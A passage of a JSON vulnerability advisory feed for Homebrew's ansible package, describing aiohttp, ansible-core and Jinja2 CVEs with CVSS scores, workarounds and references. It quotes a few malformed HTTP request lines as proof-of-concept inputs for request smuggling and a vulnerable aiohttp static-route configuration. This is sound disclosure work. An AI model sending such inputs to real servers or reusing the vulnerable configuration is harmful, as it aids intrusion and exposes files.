to the `headers` parameter.\n\nAt this point, the library will use the parsed value to create the request. If a list is passed, then it bypasses validation and it is possible to perform CRLF injection.\n\n### PoC\nThe POC below shows an example of providing an unvalidated array as a version:\nhttps://gist.github.com/jnovikov/184afb593d9c2114d77f508e0ccd508e\n\n### Impact\nCRLF injection leading to Request Smuggling.\n\n### Workaround\nIf these specific conditions are met and you are unable to upgrade, then validate the user input to the `version` parameter to ensure it is a `str`.\n\nPatch: https://github.com/aio-libs/aiohttp/pull/7835/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-q3qx-c6g2-7pw2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49081"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/7835/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/1e86b777e61cf4eefc7d92fa57fa19dcc676013b"},{"type":"WEB","url":"https://gist.github.com/jnovikov/184afb593d9c2114d77f508e0ccd508e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-250.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TY5SI6NK5243DEEDQUFKQKW5GQNKQUMA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSYWMP64ZFCTC3VO6RY6EC6VSSMV6I3A"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-49082","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-qvrw-v9rv-5rjx","CVE-2023-49082","PYSEC-2023-251"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp's ClientSession is vulnerable to CRLF injection via method","details":"### Summary\nImproper validation makes it possible for an attacker to modify the HTTP request (e.g. insert a new header) or even create a new HTTP request if the attacker controls the HTTP method.\n\n### Details\nThe vulnerability occurs only if the attacker can control the HTTP method (GET, POST etc.) of the request.\n\nPrevious releases performed no validation on the provided value. If an attacker controls the HTTP method it will be used as is and can lead to HTTP request smuggling.\n\n### PoC\nA minimal example can be found here:\nhttps://gist.github.com/jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b\n\n### Impact\nIf the attacker can control the HTTP version of the request it will be able to modify the request (request smuggling).\n\n### Workaround\nIf unable to upgrade and using user-provided values for the request method, perform manual validation of the user value (e.g. by restricting it to a few known values like GET, POST etc.).\n\nPatch: https://github.com/aio-libs/aiohttp/pull/7806/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-qvrw-v9rv-5rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49082"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/7806/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e4ae01c2077d2cfa116aa82e4ff6866857f7c466"},{"type":"WEB","url":"https://gist.github.com/jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-251.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TY5SI6NK5243DEEDQUFKQKW5GQNKQUMA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSYWMP64ZFCTC3VO6RY6EC6VSSMV6I3A"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-5115","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-jpvw-p8pr-9g2x","CVE-2023-5115","PYSEC-2026-1120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.5.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible symlink attack vulnerability","details":"An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5115"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5701"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2023:5758"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-5115"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2233810"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/16d36538b96c65d9e0e28d89781361b69857ac0e/8/CHANGELOG-v8.rst#L221"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-5764","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2023-5764","GHSA-7j69-qfc3-2fq9","PYSEC-2026-1122"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.4","key":"pkg:pypi/ansible-core@2.21.4","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible: template injection","details":"A template injection flaw was found in Ansible where a user's controller internal templating operations may remove the unsafe designation from template data. This issue could allow an attacker to use a specially crafted file to introduce templating injection when supplying templating data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X7Q6CHPVCHMZS5M7V22GOKFSXZAQ24EU/"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2023:7773"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2023-5764"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/5xxx/CVE-2023-5764.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-5764"},{"type":"ADVISORY","url":"https://security.netapp.com/advisory/ntap-20241025-0001/"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2247629"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-0690","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2024-0690","GHSA-h24r-m9qc-pvpg","PYSEC-2024-36"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.3","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.4","key":"pkg:pypi/ansible-core@2.21.4","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core: possible information leak in tasks that ignore ansible_no_log configuration","details":"An information disclosure flaw was found in ansible-core due to a failure to respect the ANSIBLE_NO_LOG configuration in some scenarios. Information is still included in the output in certain tasks, such as loop items. Depending on the task, this issue may include sensitive information, such as decrypted secret values.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IZQGCRDSZL7ONCULMB6ZUHOE4L44KIBP/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDYSWOCPZMNRU5LWKIEBW4WGWLMTU7WQ/"},{"type":"WEB","url":"https://www.ansible.com/"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:0733"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:2246"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:3043"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-0690"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/0xxx/CVE-2024-0690.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-0690"},{"type":"ADVISORY","url":"https://security.netapp.com/advisory/ntap-20250117-0001/"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2259013"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/82565"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-11079","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2024-11079","GHSA-99w6-3xph-cx78","PYSEC-2026-1123"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.18.1rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.4","key":"pkg:pypi/ansible-core@2.21.4","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible-core: unsafe tagging bypass via hostvars object in ansible-core","details":"A flaw was found in Ansible-Core. This vulnerability allows attackers to bypass unsafe content protections using the hostvars object to reference and execute templated content. This issue can lead to arbitrary code execution if remote data or module outputs are improperly templated within playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"}],"references":[{"type":"WEB","url":"https://access.redhat.com/downloads/content/package-browser/"},{"type":"WEB","url":"https://catalog.redhat.com/software/containers/"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/03/msg00006.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:10770"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2024:11145"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2024-11079"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/11xxx/CVE-2024-11079.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-11079"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2325171"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-22195","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-h5c8-rqwp-cp95","CVE-2024-22195","PYSEC-2026-1473"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.3","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00010.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5XCWZD464AJJJUBOO7CMPXQ4ROBC6JX2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DELCVUUYX75I5K4Q5WMJG4MUZJA6VAIP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O7YWRBX6JQCWC2XXCTZ55C7DPMGICCN3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-23334","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-5h86-8mv2-jq9f","CVE-2024-23334","PYSEC-2024-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp is vulnerable to directory traversal","details":"### Summary\nImproperly configuring static resource resolution in aiohttp when used as a web server can result in the unauthorized reading of arbitrary files on the system.\n\n### Details\nWhen using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if a given file path is within the root directory.This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present.\n\ni.e. An application is only vulnerable with setup code like:\n```\napp.router.add_routes([\n web.static(\"/static\", \"static/\", follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability\n])\n```\n\n### Impact\nThis is a directory traversal vulnerability with CWE ID 22. When using aiohttp as a web server and enabling static resource resolution with `follow_symlinks` set to True, it can lead to this vulnerability. This vulnerability has been present since the introduction of the `follow_symlinks` parameter.\n\n### Workaround\nEven if upgrading to a patched version of aiohttp, we recommend following these steps regardless.\n\nIf using `follow_symlinks=True` outside of a restricted local development environment, disable the option immediately. This option is NOT needed to follow symlinks which point to a location _within_ the static root directory, it is _only_ intended to allow a symlink to break out of the static directory. Even with this CVE fixed, there is still a substantial risk of misconfiguration when using this option on a server that accepts requests from remote users.\n\nAdditionally, aiohttp has always recommended using a reverse proxy server (such as nginx) to handle static resources and _not_ to use these static resources in aiohttp for production environments. Doing so also protects against this vulnerability, and is why we expect the number of affected users to be very low.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8079/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5h86-8mv2-jq9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23334"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8079"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8079/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/1c335944d6a8b1298baf179b7c0b3069f10c514b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2024-24.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/52474"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-23829","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-8qpw-xqxj-h4r2","CVE-2024-23829","PYSEC-2024-26"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp's HTTP parser (the python one, not llhttp) still overly lenient about separators","details":"### Summary\nSecurity-sensitive parts of the *Python HTTP parser* retained minor differences in allowable character sets, that must trigger error handling to robustly match frame boundaries of proxies in order to protect against injection of additional requests. Additionally, validation could trigger exceptions that were not handled consistently with processing of other malformed input.\n\n### Details\nThese problems are rooted in pattern matching protocol elements, previously improved by PR #3235 and GHSA-gfw2-4jvh-wgfg:\n\n1. The expression `HTTP/(\\d).(\\d)` lacked another backslash to clarify that the separator should be a literal dot, not just *any* Unicode code point (result: `HTTP/(\\d)\\.(\\d)`).\n\n2. The HTTP version was permitting Unicode digits, where only ASCII digits are standards-compliant.\n\n3. Distinct regular expressions for validating HTTP Method and Header field names were used - though both should (at least) apply the common restrictions of rfc9110 `token`.\n\n### PoC\n`GET / HTTP/1ö1`\n`GET / HTTP/1.𝟙`\n`GET/: HTTP/1.1`\n`Content-Encoding?: chunked`\n\n### Impact\nPrimarily concerns running an aiohttp server without llhttp:\n 1. **behind a proxy**: Being more lenient than internet standards require could, depending on deployment environment, assist in request smuggling.\n 2. **directly accessible** or exposed behind proxies relaying malformed input: the unhandled exception could cause excessive resource consumption on the application server and/or its logging facilities.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8074/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8qpw-xqxj-h4r2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23829"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/3235"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8074"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8074/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/33ccdfb0a12690af5bb49bda2319ec0907fa7827"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2024-26.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-27306","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-7gpw-8wmc-pm8g","CVE-2024-27306","PYSEC-2026-1102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp Cross-site Scripting vulnerability on index pages for static file handling","details":"### Summary\n\nA XSS vulnerability exists on index pages for static file handling.\n\n### Details\n\nWhen using `web.static(..., show_index=True)`, the resulting index pages do not escape file names.\n\nIf users can upload files with arbitrary filenames to the static directory, the server is vulnerable to XSS attacks.\n\n### Workaround\n\nWe have always recommended using a reverse proxy server (e.g. nginx) for serving static files. Users following the recommendation are unaffected.\n\nOther users can disable `show_index` if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8319/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-7gpw-8wmc-pm8g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27306"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8319"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8319/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/28335525d1eac015a7e7584137678cbb6ff19397"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2EXRGTN2WG7VZLUZ7WOXU5GQJKCPPHKP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NWEI6NIHZ3G7DURDZVMRK7ZEFC2BTD3U"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZIVBMPEY7WWOFMC3CWXFBRQPFECV4SW3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-30251","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-5m98-qgg9-wh84","CVE-2024-30251","PYSEC-2026-1098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp vulnerable to Denial of Service when trying to parse malformed POST requests","details":"### Summary\nAn attacker can send a specially crafted POST (multipart/form-data) request. When the aiohttp server processes it, the server will enter an infinite loop and be unable to process any further requests.\n\n### Impact\nAn attacker can stop the application from serving requests after sending a single request.\n\n-------\n\nFor anyone needing to patch older versions of aiohttp, the minimum diff needed to resolve the issue is (located in `_read_chunk_from_length()`):\n\n```diff\ndiff --git a/aiohttp/multipart.py b/aiohttp/multipart.py\nindex 227be605c..71fc2654a 100644\n--- a/aiohttp/multipart.py\n+++ b/aiohttp/multipart.py\n@@ -338,6 +338,8 @@ class BodyPartReader:\n assert self._length is not None, \"Content-Length required for chunked read\"\n chunk_size = min(size, self._length - self._read_bytes)\n chunk = await 